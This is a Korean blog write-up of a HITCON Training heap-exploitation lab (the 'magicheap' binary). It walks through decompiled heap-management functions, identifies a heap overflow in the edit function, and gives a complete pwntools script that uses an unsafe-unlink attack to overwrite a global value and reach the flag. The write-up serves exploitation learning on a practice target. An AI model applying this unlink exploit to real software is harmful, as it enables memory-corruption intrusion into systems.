블로그 이전했습니다. https://jeongzero.oopy.io/
[Hicon training] LAB 14
본문 바로가기
워게임/Hitcon training

[Hicon training] LAB 14

728x90

 

1. 문제


1) mitigation 확인 

이 문제도 역시 카나리와 NX가 걸려있다 

 

 

2) 문제 확인 

LAB 14번 문제와 동일한 형태로 메뉴가 나온다 

 

 

3) 코드흐름 파악 

  • create_heap() 함수
    unsigned __int64 create_heap()
    {
      int i; // [rsp+4h] [rbp-1Ch]
      size_t size; // [rsp+8h] [rbp-18h]
      char buf; // [rsp+10h] [rbp-10h]
      unsigned __int64 v4; // [rsp+18h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      for ( i = 0; i <= 9; ++i )
      {
        if ( !heaparray[i] )
        {
          printf("Size of Heap : ");
          read(0, &buf, 8uLL);
          size = atoi(&buf);
          heaparray[i] = malloc(size);
          if ( !heaparray[i] )
          {
            puts("Allocate Error");
            exit(2);
          }
          printf("Content of heap:");
          read_input(heaparray[i], size);
          puts("SuccessFul");
          return __readfsqword(0x28u) ^ v4;
        }
      }
      return __readfsqword(0x28u) ^ v4;
    }
    • 이문제는 14번 문제와 매우 유사하다. 오히려 더 쉽다. 그냥 사용자가 입력한 사이즈만큼 동적할당을 해주고, 그 주소를 heaparray배열에 넣는다.
    • 그리고 그 주소에 바로 content를 입력한다

     

  • delete_heap() 함수
    unsigned __int64 delete_heap()
    {
      int v1; // [rsp+Ch] [rbp-14h]
      char buf; // [rsp+10h] [rbp-10h]
      unsigned __int64 v3; // [rsp+18h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      printf("Index :");
      read(0, &buf, 4uLL);
      v1 = atoi(&buf);
      if ( v1 < 0 || v1 > 9 )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( heaparray[v1] )
      {
        free(heaparray[v1]);
        heaparray[v1] = 0LL;
        puts("Done !");
      }
      else
      {
        puts("No such heap !");
      }
      return __readfsqword(0x28u) ^ v3;
    }
    • free시키고 해당 인덱스를 0으로 초기화 시킨다. 이로써 DFB는 불가능하다
    • 그 외에는 딱히 없다

     

  • edit_heap() 함수
    unsigned __int64 edit_heap()
    {
      int v1; // [rsp+4h] [rbp-1Ch]
      __int64 v2; // [rsp+8h] [rbp-18h]
      char buf; // [rsp+10h] [rbp-10h]
      unsigned __int64 v4; // [rsp+18h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      printf("Index :");
      read(0, &buf, 4uLL);
      v1 = atoi(&buf);
      if ( v1 < 0 || v1 > 9 )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( heaparray[v1] )
      {
        printf("Size of Heap : ");
        read(0, &buf, 8uLL);
        v2 = atoi(&buf);
        printf("Content of heap : ");
        read_input(heaparray[v1], v2);
        puts("Done !");
      }
      else
      {
        puts("No such heap !");
      }
      return __readfsqword(0x28u) ^ v4;
    }
    • 수정할 인덱스를 입력한뒤, 수정하고자하는 사이즈를 입력한다. 그리고 그만큼 수정이 가능하다.
    • 이 떄문에 heap overflow가 일어나고 다음청크를 덮을수 있다

     

     

 

 

2. 접근방법


이 문제는 딱 보자마자 드디어 Unsafe Unlink가 가능하다는걸 알았다. 14번문제에서 많은 삽질을 했기때문에 바로 들어갔다 

 

메인에 I33t() 함수를 호출하면 플래그가 떨어지므로, magic 변수에 알맞은 값을 넣는것을 목표로 하면 된다. 

 

  1. 전역에서 content 부분의 청크를 바로 관리함
  1. 다음 청크의 헤더를 수정가능
  1. malloc도 9번이나 가능.

 

따라서 두개의 청크를 선언하고, heaparray에 들어있는 값을 bss주소로 변경시키면 된다. 그다음 0x6020C0 주소를 edit함수를 이용하여 heaparray에 넣는다 

 

마지막으로 edit()함수를 한번더 이용하여 0x6020c0에 들어있는 magic 값을 0x1305보다 큰 값으로 넣고, 메인에서 메뉴입력시, 4869를 입력하면 끝이다. 

 

 

 

3. 풀이


최종익스코드는 다음과 같다 

from pwn import *
p=process("./magicheap")
context(log_level="DEBUG")
#e=ELF("./magicheap")
#gdb.attach(p,'code\nb *0xB21+$code\n')



def create(size,content):
        p.sendlineafter("Your choice :","1")
        p.sendlineafter("Size of Heap : ",str(size))
        p.sendafter("Content of heap:",str(content))

def edit(index,size,content):
        p.sendlineafter("Your choice :","2")
        p.sendlineafter("Index :",str(index))
        p.sendlineafter("Size of Heap : ",str(size))
        p.sendafter("Content of heap : ",str(content))

def delete(index):
        p.sendlineafter("Your choice :","3")
        p.sendlineafter("Index :",str(index))

create(128,"A")
create(128,"A")
create(128,"A")

payload=p64(0)*2
payload+=p64(0x6020E0-24)
payload+=p64(0x6020E0-16)
payload+="B"*0x60
payload+=p64(0x80)
payload+=p64(0x90)

edit(0,0x90,payload)
delete(1)

edit(0,0x80,"A"*0x18+p64(0x6020c0))
edit(0,0x80,p64(0x2000))

p.sendlineafter("Your choice :","4869")

p.interactive()

 

 

 

4. 몰랐던 개념


  • none
728x90

'워게임 > Hitcon training' 카테고리의 다른 글

[Hicon training] LAB 15  (0) 2020.04.23
[Hicon training] LAB 13  (0) 2020.04.23
[Hicon training] LAB 12  (0) 2020.04.21
[Hicon training] LAB 11  (0) 2020.04.20
[Hicon training] LAB 10  (0) 2020.04.16